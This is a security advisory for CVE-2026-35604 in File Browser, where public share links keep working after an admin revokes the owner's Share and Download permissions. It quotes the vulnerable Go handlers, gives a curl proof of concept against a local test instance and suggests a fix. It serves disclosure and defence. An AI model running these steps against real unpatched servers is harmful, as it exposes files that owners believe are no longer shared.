CVE-2026-35604: File Browser share links remain accessible after Share/Download permissions are revoked

Published Apr 7, 2026
·
Updated

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.

Other sources

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc { return withUser(func(w http.ResponseWriter, r http.Request, d data) (int, error) { if !d.user.Perm.Share || !d.user.Perm.Download { return http.StatusForbidden, nil } return fn(w, r, d) }) }

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc { return func(w http.ResponseWriter, r http.Request, d data) (int, error) { link, err := d.store.Share.GetByHash(id) // line 21: checks share exists authenticateShareRequest(r, link) // line 26: checks password user, err := d.store.Users.Get(...) // line 31: checks user exists d.user = user // line 36: sets user file, err := files.NewFileInfo(...) // line 38: gets file // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download } }

Proof of Concept (runtime-verified)

# Step 1: Login as admin TOKEN=$(curl -s -X POST http://localhost:18080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions curl -X POST http://localhost:18080/api/users \ -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \ -d '{"what":"user","which":[],"currentpassword":"<admin-password>", "data":{"username":"testuser","password":"TestPass123!","scope":".", "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share USERTOKEN=$(curl -s -X POST http://localhost:18080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"TestPass123!"}') curl -X POST http://localhost:18080/api/share/secret.txt \ -H "X-Auth: $USERTOKEN" -H "Content-Type: application/json" -d '{}' # Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated) curl http://localhost:18080/api/public/dl/fB4Qwtsn # Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions curl -X PUT http://localhost:18080/api/users/2 \ -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \ -d '{"what":"user","which":["all"],"currentpassword":"<admin-password>", "data":{"id":2,"username":"testuser","scope":".", "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares curl -X POST http://localhost:18080/api/share/secret.txt \ -H "X-Auth: $USERTOKEN" -d '{}' # Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works curl http://localhost:18080/api/public/dl/fB4Qwtsn # Returns: file content (200 OK) - SHOULD be 403

Impact

When an admin revokes a user's Share or Download permissions: - New share creation is correctly blocked (403) - But all existing shares created by that user remain fully accessible to unauthenticated users - The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

Suggested Fix

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID) if err != nil { return errToStatus(err), err }

// Verify the share owner still has Share and Download permissions if !user.Perm.Share || !user.Perm.Download { return http.StatusForbidden, nil }

d.user = user

---

Update: Fix submitted as PR #5888.

GitHub

Affected Software

2 affected componentsFixes available
go/github.com/filebrowser/filebrowser/v2<2.63.1
2.63.1
Filebrowser Filebrowser<2.63.1

Event History

Apr 7, 2026
CVE Published
via MITRE·04:22 PM
Data Sourced
via MITRE·04:22 PM
DescriptionWeakness
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 PM
RemedyAffected Software
Apr 8, 2026
Advisory Published
via GitHub·12:04 AM
Data Sourced
via GitHub·12:04 AM
DescriptionWeaknessAffected Software
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